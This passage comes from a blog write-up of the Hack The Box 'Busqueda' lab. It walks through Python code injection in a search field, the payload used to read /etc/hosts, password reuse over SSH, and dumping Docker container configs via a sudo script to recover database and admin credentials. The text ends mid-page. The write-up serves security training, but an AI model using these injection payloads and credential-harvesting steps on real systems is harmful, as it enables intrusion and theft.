362\n\n&#91;core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tlogallrefupdates = true\n&#91;remote \"origin\"]\n\turl = http:\/\/cody:jh1usoih2bkjaspwe92@gitea.searcher.htb\/cody\/Searcher_site.git\n\tfetch = +refs\/heads\/*:refs\/remotes\/origin\/*\n&#91;branch \"main\"]\n\tremote = origin\n\tmerge = refs\/heads\/main\n('https:\/\/www.accuweather.com\/en\/search-locations?query=example', 0)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Also, we will check the \u2018\/etc\/hosts\u2019 file to discover more information:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>engine=Accuweather&amp;query=example'),__import__('os').system('cat \/etc\/hosts')#<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"796\" height=\"346\" data-attachment-id=\"3017\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-13\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-13.png?fit=796%2C346&amp;ssl=1\" data-orig-size=\"796,346\" data-comments-opened=\"1\" data-image-title=\"Untitled-13\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-13.png?fit=796%2C346&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-13.png?resize=796%2C346&#038;ssl=1\" alt=\"\" class=\"wp-image-3017\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-13.png?w=796&amp;ssl=1 796w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-13.png?resize=300%2C130&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-13.png?resize=768%2C334&amp;ssl=1 768w\" sizes=\"(max-width: 796px) 100vw, 796px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After check the \u2018\/etc\/hosts\u2019 file we will discover a new domain name:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nDate: Tue, 16 May 2023 08:32:55 GMT\nServer: Werkzeug\/2.1.2 Python\/3.10.6\nContent-Type: text\/html; charset=utf-8\nVary: Accept-Encoding\nContent-Length: 323\nConnection: close\n\n127.0.0.1 localhost\n127.0.1.1 busqueda searcher.htb **gitea.searcher.htb**\n\n# The following lines are desirable for IPv6 capable hosts\n::1     ip6-localhost ip6-loopback\nfe00::0 ip6-localnet\nff00::0 ip6-mcastprefix\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n('&lt;https:\/\/www.accuweather.com\/en\/search-locations?query=example&gt;', 0)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now we need to configure our \u2018hosts\u2019 file. With something like this:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"550\" height=\"240\" data-attachment-id=\"3018\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-14\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-14.png?fit=550%2C240&amp;ssl=1\" data-orig-size=\"550,240\" data-comments-opened=\"1\" data-image-title=\"Untitled-14\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-14.png?fit=550%2C240&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-14.png?resize=550%2C240&#038;ssl=1\" alt=\"\" class=\"wp-image-3018\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-14.png?w=550&amp;ssl=1 550w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-14.png?resize=300%2C131&amp;ssl=1 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After modifying our file, we will discover a new web app (Gitea):<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"351\" data-attachment-id=\"3019\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-15\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-15.png?fit=1841%2C808&amp;ssl=1\" data-orig-size=\"1841,808\" data-comments-opened=\"1\" data-image-title=\"Untitled-15\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-15.png?fit=800%2C351&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-15.png?resize=800%2C351&#038;ssl=1\" alt=\"\" class=\"wp-image-3019\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-15.png?w=1841&amp;ssl=1 1841w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-15.png?resize=300%2C132&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-15.png?resize=768%2C337&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-15.png?resize=1536%2C674&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-15.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We already have a credentials to check into the Gitea platform:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"275\" data-attachment-id=\"3020\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-16\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-16.png?fit=1279%2C439&amp;ssl=1\" data-orig-size=\"1279,439\" data-comments-opened=\"1\" data-image-title=\"Untitled-16\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-16.png?fit=800%2C275&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-16.png?resize=800%2C275&#038;ssl=1\" alt=\"\" class=\"wp-image-3020\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-16.png?w=1279&amp;ssl=1 1279w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-16.png?resize=300%2C103&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-16.png?resize=768%2C264&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Fortunately, we have the right user to sign in:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"275\" data-attachment-id=\"3021\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-17\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-17.png?fit=1279%2C439&amp;ssl=1\" data-orig-size=\"1279,439\" data-comments-opened=\"1\" data-image-title=\"Untitled-17\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-17.png?fit=800%2C275&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-17.png?resize=800%2C275&#038;ssl=1\" alt=\"\" class=\"wp-image-3021\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-17.png?w=1279&amp;ssl=1 1279w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-17.png?resize=300%2C103&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-17.png?resize=768%2C264&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After reviewing the application I don\u2019t see anything but we are going to check the credentials through the SSH with the user \u201csvc\u201d that we have viewed into the file &#8216;\/etc\/passwd&#8217;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh svc@10.10.11.208 (jh1usoih2bkjaspwe92)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"468\" data-attachment-id=\"3022\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-18\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-18.png?fit=1415%2C827&amp;ssl=1\" data-orig-size=\"1415,827\" data-comments-opened=\"1\" data-image-title=\"Untitled-18\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-18.png?fit=800%2C468&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-18.png?resize=800%2C468&#038;ssl=1\" alt=\"\" class=\"wp-image-3022\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-18.png?w=1415&amp;ssl=1 1415w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-18.png?resize=300%2C175&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-18.png?resize=768%2C449&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now we have a SSH connection. We will to enumerate more to try to do \u201cPrivilege Escalation\u201d. The first thing we going to check is the \u201csudo\u201d permissions of the current user:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo -l<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"112\" data-attachment-id=\"3023\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-19\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-19.png?fit=1031%2C144&amp;ssl=1\" data-orig-size=\"1031,144\" data-comments-opened=\"1\" data-image-title=\"Untitled-19\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-19.png?fit=800%2C112&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-19.png?resize=800%2C112&#038;ssl=1\" alt=\"\" class=\"wp-image-3023\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-19.png?w=1031&amp;ssl=1 1031w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-19.png?resize=300%2C42&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-19.png?resize=768%2C107&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">As we can see we found something interesting, some script for check something with the root privileges. We will try to execute this script we have found:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"120\" data-attachment-id=\"3024\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-20\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-20.png?fit=1352%2C202&amp;ssl=1\" data-orig-size=\"1352,202\" data-comments-opened=\"1\" data-image-title=\"Untitled-20\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-20.png?fit=800%2C120&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-20.png?resize=800%2C120&#038;ssl=1\" alt=\"\" class=\"wp-image-3024\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-20.png?w=1352&amp;ssl=1 1352w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-20.png?resize=300%2C45&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-20.png?resize=768%2C115&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Apparently this script interacts with the docker service that already is installed in the machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>systemctl --type=service --state=running<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"460\" data-attachment-id=\"3025\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-21\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-21.png?fit=1886%2C1084&amp;ssl=1\" data-orig-size=\"1886,1084\" data-comments-opened=\"1\" data-image-title=\"Untitled-21\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-21.png?fit=800%2C460&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-21.png?resize=800%2C460&#038;ssl=1\" alt=\"\" class=\"wp-image-3025\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-21.png?w=1886&amp;ssl=1 1886w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-21.png?resize=300%2C172&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-21.png?resize=768%2C441&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-21.png?resize=1536%2C883&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-21.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After that we will check the script has been discovered. The first thing we will do is to check which are the docker instances that are now running:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py docker-ps<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will see two instances. The first one is \u201cGitea\u201d and the second one is \u201cMysql\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES\n960873171e2e   gitea\/gitea:latest   \"\/usr\/bin\/entrypoint\u2026\"   4 months ago   Up 4 hours   127.0.0.1:3000-&gt;3000\/tcp, 127.0.0.1:222-&gt;22\/tcp   gitea\nf84a6b33fb5a   mysql:8              \"docker-entrypoint.s\u2026\"   4 months ago   Up 4 hours   127.0.0.1:3306-&gt;3306\/tcp, 33060\/tcp               mysql_db<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After that we will use the same script to dump the configuration of the two instances. It is important understand how \u201cdocker\u201d works and also how it works the functionality we will use (<a href=\"https:\/\/docs.docker.com\/engine\/reference\/commandline\/inspect\/\">Docker Instance<\/a>). Now we will check the configuration:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see which are the credential it use to connect with the Mysql service (Gitea instance):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"Hostname\": \"960873171e2e\",\n  \"Domainname\": \"\",\n  \"User\": \"\",\n  \"AttachStdin\": false,\n  \"AttachStdout\": false,\n  \"AttachStderr\": false,\n  \"ExposedPorts\": {\n    \"22\/tcp\": {},\n    \"3000\/tcp\": {}\n  },\n  \"Tty\": false,\n  \"OpenStdin\": false,\n  \"StdinOnce\": false,\n  \"Env\": &#91;\n    \"USER_UID=115\",\n    \"USER_GID=121\",\n    \"GITEA__database__DB_TYPE=mysql\",\n    \"GITEA__database__HOST=db:3306\",\n    \"GITEA__database__NAME=gitea\",\n    \"GITEA__database__USER=gitea\",\n    \"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh\",\n    \"PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\",\n    \"USER=git\",\n    \"GITEA_CUSTOM=\/data\/gitea\"\n  ],\n  \"Cmd\": &#91;\n    \"\/bin\/s6-svscan\",\n    \"\/etc\/s6\"\n  ],\n  \"Image\": \"gitea\/gitea:latest\",\n  \"Volumes\": {\n    \"\/data\": {},\n    \"\/etc\/localtime\": {},\n    \"\/etc\/timezone\": {}\n  },\n  \"WorkingDir\": \"\",\n  \"Entrypoint\": &#91;\n    \"\/usr\/bin\/entrypoint\"\n  ],\n  \"OnBuild\": null,\n  \"Labels\": {\n    \"com.docker.compose.config-hash\": \"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515\",\n    \"com.docker.compose.container-number\": \"1\",\n    \"com.docker.compose.oneoff\": \"False\",\n    \"com.docker.compose.project\": \"docker\",\n    \"com.docker.compose.project.config_files\": \"docker-compose.yml\",\n    \"com.docker.compose.project.working_dir\": \"\/root\/scripts\/docker\",\n    \"com.docker.compose.service\": \"server\",\n    \"com.docker.compose.version\": \"1.29.2\",\n    \"maintainer\": \"maintainers@gitea.io\",\n    \"org.opencontainers.image.created\": \"2022-11-24T13:22:00Z\",\n    \"org.opencontainers.image.revision\": \"9bccc60cf51f3b4070f5506b042a3d9a1442c73d\",\n    \"org.opencontainers.image.source\": \"&lt;https:\/\/github.com\/go-gitea\/gitea.git&gt;\",\n    \"org.opencontainers.image.url\": \"&lt;https:\/\/github.com\/go-gitea\/gitea&gt;\"\n  }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Also we will check the another instance:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see the credentials of the root for the Mysql service (Mysql instance):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"Hostname\": \"f84a6b33fb5a\",\n  \"Domainname\": \"\",\n  \"User\": \"\",\n  \"AttachStdin\": false,\n  \"AttachStdout\": false,\n  \"AttachStderr\": false,\n  \"ExposedPorts\": {\n    \"3306\/tcp\": {},\n    \"33060\/tcp\": {}\n  },\n  \"Tty\": false,\n  \"OpenStdin\": false,\n  \"StdinOnce\": false,\n  \"Env\": &#91;\n    \"MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF\",\n    \"MYSQL_USER=gitea\",\n    \"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh\",\n    \"MYSQL_DATABASE=gitea\",\n    \"PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\",\n    \"GOSU_VERSION=1.14\",\n    \"MYSQL_MAJOR=8.0\",\n    \"MYSQL_VERSION=8.0.31-1.el8\",\n    \"MYSQL_SHELL_VERSION=8.0.31-1.el8\"\n  ],\n  \"Cmd\": &#91;\n    \"mysqld\"\n  ],\n  \"Image\": \"mysql:8\",\n  \"Volumes\": {\n    \"\/var\/lib\/mysql\": {}\n  },\n  \"WorkingDir\": \"\",\n  \"Entrypoint\": &#91;\n    \"docker-entrypoint.sh\"\n  ],\n  \"OnBuild\": null,\n  \"Labels\": {\n    \"com.docker.compose.config-hash\": \"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b\",\n    \"com.docker.compose.container-number\": \"1\",\n    \"com.docker.compose.oneoff\": \"False\",\n    \"com.docker.compose.project\": \"docker\",\n    \"com.docker.compose.project.config_files\": \"docker-compose.yml\",\n    \"com.docker.compose.project.working_dir\": \"\/root\/scripts\/docker\",\n    \"com.docker.compose.service\": \"db\",\n    \"com.docker.compose.version\": \"1.29.2\"\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After that also we will check the last functionality of the script. We need to execute it and we will see information about the instances:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py full-checkup\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The result of the execution:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;=] Docker conteainers\n{\n  \"\/gitea\": \"running\"\n}\n{\n  \"\/mysql_db\": \"running\"\n}\n\n&#91;=] Docker port mappings\n{\n  \"22\/tcp\": &#91;\n    {\n      \"HostIp\": \"127.0.0.1\",\n      \"HostPort\": \"222\"\n    }\n  ],\n  \"3000\/tcp\": &#91;\n    {\n      \"HostIp\": \"127.0.0.1\",\n      \"HostPort\": \"3000\"\n    }\n  ]\n}\n\n&#91;=] Apache webhosts\n&#91;+] searcher.htb is up\n&#91;+] gitea.searcher.htb is up\n\n&#91;=] PM2 processes\n\u250c\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 id  \u2502 name   \u2502 namespace   \u2502 version \u2502 mode    \u2502 pid      \u2502 uptime \u2502 \u21ba    \u2502 status    \u2502 cpu      \u2502 mem      \u2502 user     \u2502 watching \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 0   \u2502 app    \u2502 default     \u2502 N\/A     \u2502 fork    \u2502 1755     \u2502 2m     \u2502 0    \u2502 online    \u2502 0%       \u2502 30.1mb   \u2502 svc      \u2502 disabled \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n&#91;+] Done!<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now we have some credentials and also some users. In this point we will check some combinations of them in Gitea:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"217\" data-attachment-id=\"3026\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-22\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-22.png?fit=1083%2C294&amp;ssl=1\" data-orig-size=\"1083,294\" data-comments-opened=\"1\" data-image-title=\"Untitled-22\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-22.png?fit=800%2C217&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-22.png?resize=800%2C217&#038;ssl=1\" alt=\"\" class=\"wp-image-3026\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-22.png?w=1083&amp;ssl=1 1083w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-22.png?resize=300%2C81&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-22.png?resize=768%2C208&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After checking some combinations we will found the credentials for the \u201cadministrator\u201d user for Gitea:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>administrator:yuiu1hoiu4i5ho1uh<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After accessing the platform we will see a new repository which has the soruce code of the script we have discovered with \u201csudo -l\u201d:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"331\" 